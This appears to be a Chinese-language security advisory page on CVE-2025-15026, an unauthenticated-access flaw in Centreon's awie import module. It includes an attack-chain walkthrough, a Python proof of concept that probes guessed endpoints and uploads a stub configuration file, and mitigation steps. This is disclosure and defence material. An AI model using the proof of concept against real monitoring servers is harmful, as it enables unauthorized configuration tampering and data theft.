IPBUF安全漏洞报告
English
CVE-2025-15026 CVSS 9.8 严重

CVE-2025-15026 Centreon centreon-awie模块未授权访问漏洞

披露日期: 2026-01-05
来源: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

漏洞信息

漏洞编号
CVE-2025-15026
漏洞类型
缺少认证
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Centreon centreon-awie (Awie import module)

相关标签

Centreon缺少认证Awie模块未授权访问CVE-2025-15026基础设施监控访问控制CVSS 9.8

漏洞概述

CVE-2025-15026是Centreon Infra Monitoring中centreon-awie模块的一个严重安全漏洞。该漏洞属于"关键功能缺少认证"类型,攻击者无需任何身份验证即可访问Awie导入模块的敏感功能。由于访问控制列表(ACL)未正确约束此功能,攻击者可以直接调用相关接口进行未授权操作,可能导致敏感数据泄露或系统配置被恶意修改。此漏洞的CVSS评分高达9.8,属于紧急严重级别,对使用受影响版本Centreon的用户构成重大安全风险。Centreon作为一款广泛使用的开源基础设施监控软件,其awie模块主要用于导入和导出监控配置数据,因此该漏洞可能被利用来获取监控系统的完整配置信息或植入恶意监控任务。

技术细节

该漏洞存在于Centreon的centreon-awie模块中,具体是Awie导入功能缺少必要的身份验证和访问控制检查。攻击者可以通过构造特定的HTTP请求直接访问awie模块的API端点,无需提供有效的会话令牌或管理员凭证即可执行导入操作。由于该模块在设计时未遵循最小权限原则,暴露了本应受保护的配置管理功能。攻击者可能利用此漏洞:1) 直接通过API导入恶意配置文件;2) 读取现有的监控配置和凭证信息;3) 修改监控目标和告警设置;4) 在某些配置下可能进一步实现远程代码执行。漏洞的根本原因是模块初始化时未验证用户权限,且API路由未设置适当的认证中间件。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的Centreon版本,确认是否在受影响版本范围内(<=25.10.1, <=24.10.2, <=24.04.2)
STEP 2
步骤2: 漏洞探测
攻击者直接访问centreon-awie模块的API端点,如/centreon/api/index.php?action=awie_import,无需任何认证即可获得响应
STEP 3
步骤3: 未授权文件导入
攻击者构造恶意配置文件通过awie导入接口上传,可能包含修改后的监控配置、恶意识别器或后门脚本
STEP 4
步骤4: 配置篡改或数据窃取
成功导入后,攻击者可获取监控配置信息、修改监控目标、植入恶意监控任务或提取敏感系统信息
STEP 5
步骤5: 权限提升或横向移动
在某些配置场景下,攻击者可能利用获取的配置信息进一步实现远程代码执行或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15026 PoC - Centreon Awie Unauthenticated Access # Target: Centreon <= 25.10.1, <= 24.10.2, <= 24.04.2 import requests import sys TARGET = "http://target-centreon.com" def check_awie_access(): """Check if Awie module is accessible without authentication""" endpoints = [ f"{TARGET}/centreon/api/index.php?action=awie_import", f"{TARGET}/centreon/api/awie/import", f"{TARGET}/centreon/main.php?p=60401", ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def exploit_awie_import(): """Exploit the unauthenticated import functionality""" upload_url = f"{TARGET}/centreon/api/index.php?action=awie_import" files = { 'file': ('malicious_config.xml', '<?xml version="1.0"?><config><!-- malicious data --></config>', 'application/xml') } try: response = requests.post(upload_url, files=files, timeout=10, verify=False) if response.status_code in [200, 201]: print("[+] File import successful - vulnerability confirmed!") return True except requests.RequestException as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": print("CVE-2025-15026 Centreon Awie Unauthenticated Access PoC") print("=" * 60) if check_awie_access(): print("\n[*] Attempting exploitation...") exploit_awie_import()

影响范围

Centreon 25.10.0 < 25.10.2
Centreon 24.10.0 < 24.10.3
Centreon 24.04.0 < 24.04.3

防御指南

临时缓解措施
立即将Centreon升级到官方发布的安全修复版本(25.10.2、24.10.3或24.04.3)。如果无法立即升级,可通过Web服务器配置临时禁用awie模块的API访问,例如在nginx中添加location规则拒绝访问/centreon/api/index.php?action=awie_import路径,同时启用详细的访问日志以便及时发现可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表